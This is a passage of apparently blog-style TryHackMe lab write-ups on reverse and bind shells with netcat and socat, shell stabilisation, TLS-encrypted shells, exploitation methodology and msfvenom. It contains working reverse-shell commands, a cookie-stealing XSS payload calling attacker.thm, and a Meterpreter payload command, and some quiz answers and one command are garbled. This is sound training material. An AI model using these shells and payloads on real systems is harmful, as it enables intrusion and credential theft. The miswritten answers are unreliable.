shell.</p><h4>Establishing a Reverse Shell</h4><p>On the target, instruct netcat to connect to your listener and execute a shell. With netcat variants that support -e, this is straightforward:</p><p>Target Reverse Shell</p><pre>target@victim:~$ nc CONNECTION_IP 4444 -e /bin/bash</pre><p>Once connected, your listener will display something like:</p><p>Reverse Shell Output</p><pre>connect to [CONNECTION_IP] from (UNKNOWN) [TARGET_IP] 52134<br>whoami<br>www-data<br>hostname<br>victim-box<br>pwd<br>/var/www/html</pre><p>If -e is disabled (common on OpenBSD netcat), you can still achieve command execution using named pipes or other techniques discussed later in the room. For now, focus on understanding the listener and connection workflow.</p><h4>Connecting to a Bind Shell</h4><p>A bind shell reverses the scenario: the target listens for incoming connections and executes a shell, while you connect to it. This is useful when outbound connections are blocked. On the target:</p><p>Target Bind Shell</p><pre>target@victim:~$ nc -lvnp 8080 -e /bin/bash<br>listening on [any] 8080 ...</pre><p>Then, on your machine, connect to the target’s listener:</p><p>Connecting to Bind Shell</p><pre>attacker@tryhackme:~$ nc MACHINE_IP 8080<br>whoami<br>shell-user<br>id<br>uid=1000(shell-user) gid=1000(shell-user) groups=1000(shell-user)</pre><p>Netcat prints the remote host’s output directly in your terminal. Remember that bind shells may be blocked by firewalls on the target side; reverse shells are often more successful because outbound traffic is less restricted.</p><h4>Netcat vs Ncat</h4><p>You may encounter ncat (part of the Nmap project) alongside traditional nc. While they serve similar purposes, ncat offers additional security and features:</p><ul><li><strong>Traditional </strong><strong>nc (netcat)</strong>: Simple, lightweight, widely available. Basic network reading/writing with minimal features.</li><li><strong>ncat</strong>: Modern reimplementation with SSL/TLS encryption, proxy support, connection brokering, and better IPv6 handling.</li></ul><p>Both work similarly for basic shell operations. Use ncat --help to check its extended capabilities, particularly for encrypted connections, which will be covered later in this room.</p><h4>Other Useful Flags</h4><p>Netcat has many other options. Here are a few you may encounter:</p><ul><li><strong>u:</strong> Use UDP instead of TCP (rare for shells due to unreliability)</li><li><strong>w:</strong> Set a connection timeout</li><li><strong>q:</strong> After EOF on stdin, wait seconds before closing</li></ul><p>Consult the man page (man nc) or run nc -h to see which flags your version supports.</p><h4>Answer the questions below</h4><p>Which option tells netcat to <em>listen</em>?</p><blockquote>-l</blockquote><p>How would you connect to a bind shell on the IP address: 10.10.10.11 with port 8090?</p><blockquote>nc 10.10.10.11 8090</blockquote><p>Which netcat flag skips DNS resolution and uses numeric IP addresses only?</p><blockquote>-n</blockquote><h3>Working with Socat</h3><p>In the previous task, you learned that netcat shells can be unstable and lack job control. socat (SOcket CAT) addresses these shortcomings. It can relay data between two endpoints, allocate pseudo-terminals, and even wrap connections in SSL. Because socat is more feature-rich than netcat, it is not always pre-installed on targets. In this task, you&#39;ll see how to use socat to create basic shells and upgrade to a proper TTY.</p><h4>Basic Reverse Shells with socat</h4><p>Socat uses a syntax different from netcat’s, but the concept remains the same. Instead of simple flags, socat uses “address specifications” that describe endpoints and their properties. The basic format is socat [options] address1 address2, where data flows between the two addresses.</p><p>Start a listener on your attack box using the TCP-L (TCP Listen) address type. The dash (-) represents standard input/output, meaning socat will display incoming data on your terminal:</p><p>Socat Listener</p><pre>attacker@tryhackme:~$ socat TCP-L:443 -</pre><p>On the target, connect back using TCP:host:port to specify the destination and EXEC: to execute a program when the connection is established. The bash -li creates a login interactive shell that provides a more complete environment than a basic shell:</p><p>Target Socat Reverse Shell</p><pre>target@victim:~$ socat TCP:CONNECTION_IP:443 EXEC:&quot;bash -li&quot;</pre><h4>Windows Reverse Shells</h4><p>Socat works equally well on Windows systems. Replace bash with Windows shell executables and add the pipes option to handle Windows named pipes for input/output redirection properly:</p><p>Windows Reverse Shell</p><pre>C:\&gt; socat TCP:CONNECTION_IP:443 EXEC:powershell.exe,pipes</pre><p>Alternatively, you can use cmd.exe,pipes for a traditional Command Prompt shell instead of PowerShell.</p><h4>Basic Bind Shells with socat</h4><p>Bind shells reverse the connection direction. The target listens for incoming connections while you connect from your attack machine. This approach works when outbound connections are blocked, but inbound access is available on specific ports.</p><p>On the target, use TCP-L to listen and EXEC to spawn a shell when someone connects:</p><p>Target Socat Bind Shell</p><pre>target@victim:~$ socat TCP-L:8088 EXEC:&quot;bash -li&quot;<br>listening on 0.0.0.0:8088 ...</pre><p>From your attack box, you can connect to the target’s listener. The TCP:host:port address connects to the remote service, while the dash forwards the connection to your terminal:</p><p>Connecting to Socat Bind Shell</p><pre>attacker@tryhackme:~$ socat TCP:MACHINE_IP:8088 -<br>whoami<br>shell<br>pwd<br>/home/shell</pre><h4>Windows Bind Shells</h4><p>For Windows targets, specify the appropriate shell executable and include the pipes option for proper I/O handling:</p><p>Windows Bind Shell</p><pre>C:\&gt; socat TCP-L:8088 EXEC:cmd.exe,pipes</pre><h4>Answer the questions below</h4><p>How would we get socat to listen on TCP port 8080?</p><blockquote>TCP-L:8080</blockquote><p>When creating a socat reverse shell on a Windows target, which option must you add after the executable name for proper I/O handling?</p><blockquote>pipes</blockquote><h3>Shell Stabilisation</h3><p>A raw netcat shell often feels brittle: you cannot use arrow keys or tab completion, programs like ssh and su misbehave, and a stray Ctrl+C can kill your session. To make post-exploitation work more comfortable, we must <strong>stabilise</strong> our shells and get a proper TTY. Below are three techniques you can use on Linux and Windows targets.</p><h4>Spawning a TTY with Python</h4><p>Many Linux systems have Python installed by default. The pty (pseudo-terminal) module can create an interactive shell resembling a real terminal session. A TTY provides proper input/output handling and enables features like job control.</p><p>Before starting, note your local terminal dimensions — you’ll need them once you’re inside the stabilised shell. Run stty size on your attacker machine and keep the values handy:</p><p>Checking Terminal Size</p><pre>attacker@tryhackme:~$ stty size<br>50 220</pre><p>Create a Netcat reverse shell on the target. Start a listener on your attacker machine:</p><p>Netcat Listener</p><pre>attacker@tryhackme:~$ nc -lvnp 4444<br>listening on [any] 4444 ...</pre><p>Then trigger the reverse shell from the target:</p><p>Target Reverse Shell</p><pre>target@victim:~$ nc CONNECTION_IP 4444 -e /bin/bash</pre><p>Once you have your basic netcat shell, upgrade it by importing Python’s pty module and spawning a bash process:</p><p>Python TTY Spawn</p><pre>attacker@tryhackme:~$ python3 -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;<br>target@victim:~$</pre><p>The pty.spawn() function creates a pseudo-terminal and executes the specified program (/bin/bash) within it. This immediately gives you a more interactive shell where programs behave normally.</p><p>Next, set the terminal type environment variable so that programs can format their output correctly. The xterm terminal type is widely supported and provides good compatibility:</p><p>Setting Terminal Type</p><pre>target@victim:~$ export TERM=xterm</pre><p>To complete the stabilisation, you need to configure your local terminal. You can suspend the shell with Ctrl+Z, then run stty raw -echo on your attacker&#39;s machine. The raw option disables input processing (sends all keystrokes directly), while -echo prevents your machine from displaying what you type (avoiding duplicate characters). Resume the shell with fg:</p><p>Shell Stabilisation</p><pre>^Z<br>[1]+  Stopped                 nc -lvnp 4444<br>attacker@tryhackme:~$ stty raw -echo<br>attacker@tryhackme:~$ fg</pre><p>Back in the target shell, apply the dimensions you noted earlier. Substitute the row and column values from your stty size output:</p><p>Set Terminal Size</p><pre>target@victim:~$ stty rows 50 cols 220</pre><p>When you exit the target shell, your local terminal stays in raw mode from the earlier stty raw -echo. Run stty sane to restore normal behaviour. If the connection drops unexpectedly while raw mode is active, type reset and press Enter, even if nothing appears as you type.</p><h4>Wrapping your Listener with rlwrap</h4><p>While Python’s pty gives you a functional TTY, you still lack command history and tab completion. rlwrap (readline wrapper) adds GNU readline functionality to any program, providing these missing features.</p><p>Install rlwrap if it’s unavailable (sudo apt install rlwrap), then wrap your netcat listener. The rlwrap command intercepts input/output and adds readline features before passing data to netcat:</p><p>Rlwrap Listener</p><pre>attacker@tryhackme:~$ rlwrap nc -lvnp 4444<br>listening on [any] 4444 ...</pre><p>When the reverse shell connects, follow the same Python stabilisation steps: spawn a TTY with pty.spawn(&quot;/bin/bash&quot;), export TERM=xterm, and configure your local terminal with stty raw -echo. The difference is that rlwrap now provides command history (up/down arrows) and basic tab completion, making the shell much more usable for extended sessions.</p><h4>Upgrading to a Fully Interactive Shell with Socat</h4><p>For the most stable shell experience, socat can allocate a proper pseudo-terminal with complete signal handling and job control. If socat isn’t installed on the target, you can transfer it through your existing shell connection.</p><p>First, serve the socat binary from your attacker machine. Python’s built-in HTTP server makes file transfers simple. The -m http.server module creates a web server serving files from your current directory:</p><p>PythonHTTPServer</p><pre>attacker@tryhackme:~$ sudo python3 -m http.server 80<br>Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...</pre><p>Download socat to the target through your existing shell. On Linux systems, wget fetches files over HTTP. The -O option specifies the output filename, and chmod +x makes the binary executable:</p><p>Downloading Socat</p><pre>target@victim:~$ wget http://CONNECTION_IP/socat -O /tmp/socat<br>target@victim:~$ chmod +x /tmp/socat</pre><h4>Windows File Transfer</h4><p>On Windows targets, use PowerShell’s Invoke-WebRequest cmdlet to download files. The -Uri parameter specifies the source URL, while -OutFile sets the destination path:</p><p>PowerShell File Transfer</p><pre>PS&gt; Invoke-WebRequest -Uri http://CONNECTION_IP/socat.exe -OutFile C:\Windows\Temp\socat.exe</pre><h4>Establishing Socat TTY Shell</h4><p>Once socat is available, create a fully interactive shell. Start a listener that connects to your attacker’s machine. The FILE:`tty` address type connects to your terminal, raw mode passes all input directly, and echo=0 disables local echo:</p><p>Socat TTY Listener</p><pre>attacker@tryhackme:~$ socat TCP-L:5555 FILE:`tty`,raw,echo=0</pre><p>On the target, connect back with full TTY options. The EXEC:&quot;bash -li&quot; spawns a login interactive shell, while the additional options create a proper terminal environment:</p><p>Socat TTY Connection</p><pre>target@victim:~$ /tmp/socat TCP:CONNECTION_IP:5555 \<br>EXEC:&quot;bash -li&quot;,pty,stderr,sigint,setsid,sane</pre><p>This socat command creates the most stable shell possible:</p><ul><li><strong>pty:</strong> Allocates a pseudo-terminal for proper program interaction</li><li><strong>stderr:</strong> Forwards error output so you see all program messages</li><li><strong>sigint:</strong> Enables Ctrl+C signal handling for process interruption</li><li><strong>setsid:</strong> Creates a new session for proper job control</li><li><strong>sane:</strong> Applies standard terminal settings for consistent behaviour</li></ul><p>At this point, the shell is as good as a direct SSH login. You can run vim, background processes with Ctrl+Z, and use tab completion normally.</p><h4>Answer the questions below</h4><p>After running stty raw -echo, what command brings your backgrounded shell back to the foreground?</p><blockquote>fg</blockquote><p>How would you change your terminal size to have 238 columns?</p><blockquote>stty cols 238</blockquote><p>What command would you use to set up a Python3 web server on port 80 to transfer socat to a target? (Provide the full command with sudo)</p><blockquote>sudo python3 -c http.server 80</blockquote><h3>Encrypted Shells</h3><p>Encrypted Shells</p><p>Basic shells transmit data in plaintext. This can be caught by network monitoring (IDS/IPS) and DLP (Data Loss Prevention) systems. Encryption (SSL/TLS) masks the traffic to look like normal HTTPS.</p><h4>1. Why Encrypt?</h4><ul><li>Evasion: Traffic on port 443 (HTTPS) looks legitimate, unlike nc on port 4444.</li><li>Bypassing DLP: Systems cannot inspect the encrypted stream to see your commands.</li><li>Compliance: Some standards require administrative connections to be encrypted.</li></ul><h4>2. Generating Certificates</h4><p>Use OpenSSL to create a self-signed certificate (no CA required):</p><pre>openssl req -newkey rsa:2048 -nodes -keyout shell.key -x509 -days 365 -out shell.crt</pre><p>Combine the key and certificate into a single PEM file for Socat:</p><pre>cat shell.key shell.crt &gt; shell.pem</pre><h4>3. Encrypted Reverse Shells</h4><p>On the attacker (listener):</p><pre>socat OPENSSL-LISTEN:443,cert=shell.pem,verify=0 -</pre><p>On the target (connecting back):</p><pre>socat OPENSSL:CONNECTION_IP:443,verify=0 EXEC:/bin/bash</pre><p><em>For Windows:</em> Use EXEC:powershell.exe,pipes (the pipes flag ensures proper I/O handling).</p><h4>4. Encrypted Bind Shells</h4><p>Used when the target cannot initiate outbound connections but accepts inbound ones.</p><p>Transfer shell.pem to the target (via wget or Invoke-WebRequest).</p><p>On the target (listener):</p><pre>socat OPENSSL-LISTEN:8443,cert=/tmp/shell.pem,verify=0 EXEC:”bash -li</pre><p><em>For Windows:</em> EXEC:cmd.exe,pipes.</p><p>on the attacker (connect):</p><pre>socat OPENSSL:MACHINE_IP:8443,verify=0 -</pre><h3>5. Encrypted TTY (Full Terminal)</h3><p>The best option: encryption + full interactivity (arrow keys, Ctrl+C, editors work).<br>On the attacker (listener):</p><pre>socat OPENSSL-LISTEN:443,cert=shell.pem,verify=0 FILE:`tty`,raw,echo=0</pre><p>On the target (connecting back):</p><pre>socat OPENSSL:CONNECTION_IP:443,verify=0 EXEC:&quot;bash -li&quot;,pty,stderr,sigint,setsid,sane</pre><h4>6. Operational Considerations</h4><ul><li>Ports: Use 443, 8443, or 9443 (web ports). Unusual ports attract attention.</li><li>Troubleshooting: If the connection fails, check if socat supports OpenSSL (socat -V). Ensure verify=0 is used on both ends (required for self-signed certificates).</li></ul><h4>Answer the questions below</h4><p>Which socat parameter disables certificate verification for self-signed certificates?</p><blockquote>verify=0</blockquote><p>What OpenSSL flag generates a 2048-bit RSA key pair when creating a self-signed certificate?</p><blockquote>-newkey rsa:2048</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2fac0cd1cf4e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Try Hack Me: Exploitation and Weaponisation Write Up]]></title>
            <link>https://medium.com/@jozepjoestar/try-hack-me-exploitation-and-weaponisation-write-up-d3a1c22f814c?source=rss-1fa5e7ca17bb------2</link>
            <guid isPermaLink="false">https://medium.com/p/d3a1c22f814c</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Jozepjoestar]]></dc:creator>
            <pubDate>Sat, 24 Oct 2026 16:24:51 GMT</pubDate>
            <atom:updated>2026-10-24T16:24:51.965Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EegPr1DCSJ5qJDYET_zCkw.png" /></figure><h3>From Vulnerability Discovery to Explotation</h3><p>Vulnerability Confirmation Methodology (Exploit Development)</p><p>Before diving into exploit development, you need a methodical approach to confirm that a vulnerability is real and exploitable, rather than just a theoretical finding.</p><h4>1. Analyzing the Data</h4><p>Understand what you are dealing with. Which component is affected (endpoint, network service, parameter, or workflow)? Who interacts with it? What does a successful exploitation attempt look like? This step is crucial for proper risk assessment based on the business context.</p><h4>2. Confirming Exploitability (Don’t trust scanners blindly)</h4><p>A vulnerability discovery based on version matching or configuration checks is not a proof of exploitability. You must verify it yourself before drawing conclusions.</p><ul><li>For network services: Use Metasploit auxiliary scanner modules (e.g., auxiliary/scanner/smb/smb_ms17_010) to confirm the target is vulnerable without crashing it. Also, many exploit modules include a check command. Running check is a safer first step than firing the actual exploit.</li><li>For web vulnerabilities: Interact with the functionality directly. For suspected IDOR, establish a baseline by accessing your own data (e.g., account ID 12345), then try to access another user&#39;s data by modifying the ID (e.g., 12346) using the same request structure.</li></ul><h4>3. Reliable Reproduction</h4><p>A vulnerability that can only be triggered once is hard to document and impossible to retest. Reproduce the issue at least twice under identical conditions before moving to exploitation. If it works only occasionally, figure out why (application state, session tokens, caching, or timing could be affecting it).</p><h4>4. Deciding on Exploitation</h4><p>Not every vulnerability needs to be exploited to prove its impact. A missing security header doesn’t require a detailed demonstration. An open directory listing doesn’t need active exploitation.</p><ul><li>If the risk is obvious, document it and move on.</li><li>If a demonstration is needed to prove impact, perform the minimum level of exploitation required to prove the point.</li></ul><h4>Practical Examples</h4><p>Example 1: Network Discovery (MS17–010)<br>An Nmap scan reveals a Windows 7 host with SMB on port 445. The OS and patch level suggest potential MS17–010 vulnerability. Instead of blindly launching EternalBlue, confirm it first:</p><pre>msf6 &gt; use auxiliary/scanner/smb/smb_ms17_010<br>msf6 &gt; set RHOSTS 10.0.0.5<br>msf6 &gt; run<br>[+] 10.0.0.5:445 - Host is likely VULNERABLE to MS17-010!</pre><p>Now you have a solid basis for controlled exploitation.</p><p>Example 2: Web Application Discovery (IDOR)<br>A web app shows bank details at /accounts/12345/summary. You are logged in as a test user with account ID 12345. You change the request to 12346, and the app returns another user&#39;s summary, confirming the IDOR. You have reproduced the issue, understand the prerequisites, and know how to use it controllably and repeatably.</p><h4>Answer the questions below</h4><p>Nmap flags a Windows 7 host with SMB on port 445, hinting at MS17–010. Which Metasploit auxiliary module would you run before loading the exploit?</p><blockquote>auxiliary/scanner/smb/smb_ms17_010</blockquote><p>While checking the HTTP response headers during a web application penetration test, you noticed that the application does not implement the HTTP Strict-Transport-Security (HSTS) header. Which of the following actions would you perform?<br>a) Attempt to demonstrate an SSL stripping attack<br>b) Document it and move on</p><blockquote>b</blockquote><h3>Controlled Explotation Techniques</h3><p>Exploitation Objectives: Minimal Control, Blast Radius, Documentation</p><p>The goal of exploitation during a penetration test is not to cause maximum damage. The goal is to prove that a vulnerability can be exploited realistically and safely to achieve a meaningful outcome. Anything beyond that is unnecessary and potentially dangerous to the client.</p><h4>1. Prove Minimum Control</h4><p>Demonstrate that you can influence the system’s behavior without causing destruction.</p><ul><li>RCE: Run whoami or hostname (proves code execution without writing to disk).</li><li>SQLi: Extract @@version or SYSTEM_USER (shows DB context and privileges without dumping data).</li><li>XSS: Execute alert(document.domain) (proves script execution). If provided a test account, demonstrate session hijacking to show real impact.</li></ul><h4>2. Define the Blast Radius</h4><p>Non-destructive actions (reading one record, confirming admin panel access) represent low risk and are sufficient for PoC. Destructive actions (deleting records, modifying production data, crashing services) are almost never justified. The client already knows that dropping a database is bad; they need proof that an attacker can reach that point.</p><ul><li>Irreversible actions (creating accounts, changing data) should only be taken if there is no other way to prove the breach, and only with explicit client permission.</li><li>Automated tools (SQLMap, blind Metasploit runs, testing across 50 real accounts) can cause outages or trigger alerts. Know when to stop to minimize impact.</li></ul><h4>3. Document as You Go</h4><p>Save request/response pairs from Burp and terminal output. If it works, take a screenshot, save the request, note the timestamp, and move on. A complete draft with findings prevents you from having to re-gather evidence later.<br>For a report, enough evidence consists of:</p><ul><li>The request that triggered the vulnerability.</li><li>The response that confirmed it.</li><li>A timestamp and context (so another tester can reproduce it).</li><li><em>Before/after screenshots are better than 20 screenshots requiring extra explanation.</em></li></ul><h4>Practical Examples</h4><p>1. Network Exploitation (MS17–010)<br>After confirming the vulnerability with a scanner, run the exploit. Once you get a Meterpreter session, running getuid (returning NT AUTHORITY\SYSTEM) is sufficient to prove impact.</p><p>2. Web Application Exploitation (SQLi)<br>SQL injection is confirmed on an MSSQL database. Execute:</p><pre>&#39; UNION SELECT NULL, @@version, SYSTEM_USER, NULL --</pre><p>The response returns Microsoft SQL Server 2019 and sa. This proves the application connects with sysadmin privileges. Enabling xp_cmdshell to run OS commands is not necessary to demonstrate the consequences.</p><p>Answer the questions below</p><p>You’ve gained command injection on an internal app running on a Linux server. What’s the first command you run to prove execution without touching the disk?</p><blockquote>whoami</blockquote><p>While testing a web application, you confirmed that an SQL-injection vulnerability could be exploited. What SQL query can you attempt to inject in order to check the privileges of the database user?</p><blockquote>SELECT SYSTEM_USER</blockquote><p>You successfully exploited an MS17–010 vulnerability on a target host and gained a meterpreter session. What command do you run to check your privileges?</p><blockquote>getuid</blockquote><h3>Context-Aware Weaponisation</h3><p>Weaponizing Vulnerabilities: Trust Boundaries &amp; Business Impact</p><p>Technical exploitation must translate into a tangible business risk. Finding a bug is step one; understanding how it affects the client’s security is step two.</p><h4>1. Trust Boundaries</h4><p>Every system has trust boundaries (what normal users, services, and systems are allowed to do). An admin panel shouldn’t be accessible to regular users; a web server shouldn’t reach internal systems.</p><ul><li>Ask yourself: Which boundary does this vulnerability cross?</li><li><em>Example:</em> An IDOR letting user A see user B’s data is bad, but an IDOR letting a regular user access the admin account is a critical business risk.</li></ul><h4>2. What Access Actually Means</h4><p>Technical access ≠ Business impact.</p><ul><li>A password reset flaw giving access to <em>any</em> account is vastly different from a display setting flaw letting you change UI colors.</li><li>In networks, compromising a Domain Controller means total environment compromise. Compromising a single unconnected workstation is much less severe.</li><li>Weaponization: Think like an attacker. How can this flaw be used to cause maximum damage?</li></ul><h4>3. Abusing Existing Features</h4><p>Context-aware exploitation means using the app’s intended features against itself. This is stealthy and hard to detect. Examples include password reset mechanisms, money transfers, admin APIs, or over-privileged service accounts.</p><ul><li><em>Example (Business Logic):</em> If a currency exchange rate is passed in the request body and the server doesn’t validate it, you can manipulate the rate. By sending a transfer with a manipulated rate, you prove financial controls can be bypassed without introducing any new code.</li></ul><h4>4. High-Value Actions</h4><p>Value depends on what the action does. The highest impact usually involves actions that directly affect the business or its users:</p><ul><li>Password Reset: Exploit reset flaws to take over accounts and escalate privileges.</li><li>User Role Management: Manipulate privileges to gain admin or elevated access.</li><li>Payment Features: Tamper with payment logic, modify transaction values, or bypass confirmation steps.</li><li>Data Extraction: Use IDOR to mass-harvest customer data from the server.</li></ul><p>If a vulnerability touches any of these high-value actions, the consequences of weaponizing it increase significantly.</p><h4>Answer the questions below</h4><p>What example of a high-value action can be abused to hijack user accounts and escalate access?</p><blockquote>Password Reset</blockquote><p>When exploiting an IDOR vulnerability in an online learning platform, which among the following roles could be targeted in order to demonstrate the greatest impact?<br>a) User<br>b) System Administrator<br>c) Teacher</p><blockquote>b</blockquote><h3>Chaining Vulnerabilities</h3><p>Chaining Vulnerabilities: How to Turn Low-Risk Bugs into High-Impact Attacks</p><p>Individual vulnerabilities often look low-risk on their own. However, chaining them together creates a realistic attack path and significantly increases business impact. This is a critical skill for a penetration tester.</p><h4>1. What is Chaining?</h4><p>Chaining means using one vulnerability to increase the impact of another. The goal is to show how an attacker can leverage a low-risk flaw to exploit a different one and cause severe damage.<br><em>Not every chain is useful.</em> Prioritize chains that show significant impact (e.g., User Enumeration + Password Reset Flaw = Account Takeover).</p><h4>2. Finding Pivot Points</h4><p>A pivot point is where the result of one bug lets you exploit another. Keep an eye out for these classes:</p><ul><li>Information Disclosure: A verbose error reveals an internal API endpoint, debug page, or session token. This unlocks access you otherwise couldn’t reach.</li><li>Broken Access Control: If you can <em>read</em> data you shouldn’t, check if you can also <em>write</em> to it or access related protected functions.</li><li>Logic Flaws: Using workflows out of sequence. A password reset lacking token validation combined with username enumeration leads to full account takeover.</li></ul><h4>3. Keep It Controlled</h4><p>Apply the principles of controlled exploitation to the chain. Do minimal steps, use safe payloads, and know when to stop. The chain ends as soon as the combined impact is proven.</p><h4>Practical Examples</h4><p>1. Network Chain (FTP to SSH)</p><ul><li>Step 1 (Medium): Nmap finds an FTP service that accepts anonymous logins.</li><li>Step 2 (Medium): You download backup_config.txt and find plaintext SSH credentials.</li><li>Step 3 (High): You use those credentials to SSH into another internal host.</li><li>Result: A medium-severity anonymous FTP flaw turns into high-severity lateral movement.</li></ul><p>2. Web Application Chain (Stored XSS to Admin Takeover)</p><ul><li>Step 1: A chatbot stores user input without sanitization, resulting in XSS.</li><li>Step 2: You confirm the payload executes in the admin’s dashboard (test admin account).</li><li>Step 3: You confirm the admin’s session cookie lacks the HttpOnly flag (accessible via JS).</li><li>Step 4: You chain them by injecting: &lt;script&gt;fetch(&#39;https://attacker.thm/log?c=&#39;+document.cookie)&lt;/script&gt;</li><li>Result: The admin’s session token hits your server. You swap your cookie for theirs and get full admin access without knowing the password.</li></ul><h4>Answer the questions below</h4><p>During a web application penetration test, you discovered a stored XSS that can be viewed by other users. What cookie attribute must be set to False in order to demonstrate cookie theft?</p><blockquote>HttpOnly</blockquote><p>Among the three options below, choose two that can be chained in order to demonstrate greater impact. Answer Format: a,b<br>a) An XSS in a support chat<br>b) A source-code disclosure vulnerability that exposes hashing functions<br>c) An IDOR in the change-password flow that requires a hashed email address</p><blockquote>b,c</blockquote><h3>Tools in Context</h3><p>Penetration Testing Tools: Using Them Effectively and Safely</p><p>Tools save time during real engagements, but they can also cause unexpected outages, especially in production. Using a tool without understanding how it works is one of the most common mistakes beginners make. Understanding the mechanics allows you to work efficiently, control the data you send, and prevent unexpected crashes.</p><h4>1. Metasploit Framework</h4><p>Widely used for exploiting network vulnerabilities (scanning, exploits, post-exploitation).</p><ul><li>Golden Rule: Check first, exploit second. Use auxiliary scanners (e.g., auxiliary/scanner/smb/smb_ms17_010) to confirm a vulnerability before running the exploit module.</li><li>Why it matters: Exploits like EternalBlue can <em>crash</em> the target service if the payload isn’t delivered correctly.</li><li>After getting a session: Execute only the minimum commands needed to confirm impact (e.g., getuid). Do not risk over-exploitation.</li></ul><h4>2. Burp Suite</h4><p>The standard for web app testing (Proxy and Repeater).</p><ul><li>Usage: Use Repeater to test individual input parameters. Change one parameter at a time and observe the response.</li><li>Why: This gives precise control over what you send and creates a clear request/response pair (crucial for evidence collection).</li><li>Intruder: Be extremely careful. Automated brute-forcing can overwhelm the web app and cause outages. Use minimal effective settings in production, and always ensure you have permission before generating significant request volumes.</li></ul><h4>3. SQLMap</h4><p>Automates SQL injection discovery and exploitation. It’s effective but one of the most misused tools.</p><ul><li>The Right Way: Run SQLMap at the lowest effective level and minimal risk settings while demonstrating real impact. Default settings are a reasonable starting point.</li><li>Constraints: Only add --level and --risk flags if lower settings fail to detect the injection. Never use --dump-all or --all in a live system, as they attempt to extract every database and table, violating controlled exploitation.</li><li>Examples of controlled use:</li><li>Identify injections and list DBs: sqlmap -u &quot;...&quot; --dbs --level=1 --risk=1</li><li>List tables in a specific DB: sqlmap -u &quot;...&quot; -D targetdb --tables</li><li>Extract a single row (to prove access): sqlmap -u &quot;...&quot; -D targetdb -T users --dump --start=1 --stop=1 (The --start=1 --stop=1 flags limit output to one row, which is enough to prove read access).</li></ul><h4>4. Interpreting Output</h4><p>Tools produce a lot of data; interpreting it correctly is vital:</p><ul><li>Metasploit: “Exploit completed, but no session was created” means the exploit ran but failed to return a shell.</li><li>SQLMap: A “false positive” means the injection point might need manual verification.</li><li>Nikto: An outdated server header does not mean the server is vulnerable to the associated CVEs.</li><li>The Point: Automated tools reduce the time to find and confirm vulnerabilities. They do not replace the need to evaluate results and understand their true significance. Being able to explain <em>what</em> was achieved with a tool and <em>why</em> it matters turns raw data into a solid finding for a report.</li></ul><h4>Answer the questions below</h4><p>You need to test one request parameter in Burp Suite in order to capture a clear evidence. Which module can be used to achieve this?</p><blockquote>Repeater</blockquote><p>You confirmed an SQL-injection vulnerability and wanted to automate the exploitation without causing unintended damage to the environment. Which flags and values can you use to retrieve only one row from a table? E.g., --level=5 --risk=5</p><blockquote>— start=1 — stop=1</blockquote><p>What Burp Suite module can generate a high volume of requests and potentially cause downtime if misused?</p><blockquote>Intruder</blockquote><h3>Test Your Knowlege</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*ZEr_rEZ_L9rhBLLJ6aZNYA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*eovv5k5p9GfJ-a-4K13otg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/1*OxvaKntF2hdXXaxgpzpcEA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d3a1c22f814c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Try Hack Me: Metasploit: Payload Generation Write Up]]></title>
            <link>https://medium.com/@jozepjoestar/try-hack-me-metasploit-payload-generation-write-up-f2da3e6bb1e0?source=rss-1fa5e7ca17bb------2</link>
            <guid isPermaLink="false">https://medium.com/p/f2da3e6bb1e0</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Jozepjoestar]]></dc:creator>
            <pubDate>Fri, 23 Oct 2026 13:28:26 GMT</pubDate>
            <atom:updated>2026-10-23T13:28:26.901Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*YADRQPJLhD9R3Xx0CwioyQ.png" /></figure><h3>Basik Syntax and Listing Options</h3><p>Basic msfvenom structure</p><p>A minimal command requires three things: the payload (-p), the format (-f), and the connection parameters (LHOST/LPORT for a reverse payload):</p><pre>msfvenom -p &lt;payload&gt; LHOST=&lt;IP&gt; LPORT=&lt;port&gt; -f &lt;format&gt; -o &lt;file&gt;</pre><p>Example (Windows Meterpreter as an executable):</p><pre>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.12 LPORT=4444 -f exe -o shell.exe</pre><p>Breakdown of the flags:</p><ul><li>-p — the payload (platform/architecture/type/connection).</li><li>LHOST / LPORT — your IP and listening port for the reverse connection. These are not flags (no - prefix); they are payload options passed as KEY=VALUE pairs.</li><li>-f exe — the output format.</li><li>-o shell.exe — the output filename (without -o, the output goes to stdout).</li></ul><h4>Common flags reference</h4><ul><li>-p — Select payload (e.g., -p linux/x64/meterpreter/reverse_tcp).</li><li>-f — Set output format (e.g., -f exe, -f elf, -f raw, -f python).</li><li>-o — Write result to a file (e.g., -o payload.exe).</li><li>-e — Select an encoder (e.g., -e x86/shikata_ga_nai).</li><li>-i — Number of encoding iterations (e.g., -i 5).</li><li>-b — Characters to avoid / bad chars (e.g., -b &#39;\x00\x0a\x0d&#39;).</li><li>-x — Template binary to inject the payload into an existing file (e.g., -x putty.exe).</li><li>-k — Preserve the original template&#39;s behavior (used with -x).</li><li>-a — Override architecture (e.g., -a x64).</li><li>--platform — Override platform (e.g., --platform windows).</li><li>-n — Prepend N bytes of NOP sled (e.g., -n 16).</li></ul><p>To check what options a specific payload requires, run: msfvenom -p &lt;payload&gt; --list-options.</p><p>Listing available components (-l, lowercase L)</p><ul><li>-l payloads — lists all payloads. Filter it for practicality: msfvenom -l payloads | grep linux | grep meterpreter.</li><li>-l formats — lists output formats. They fall into two categories: executable formats (standalone binaries like exe, elf, dll, msi) and transform formats (code for embedding like base64, c, csharp, powershell, python, raw).</li><li>-l encoders — lists 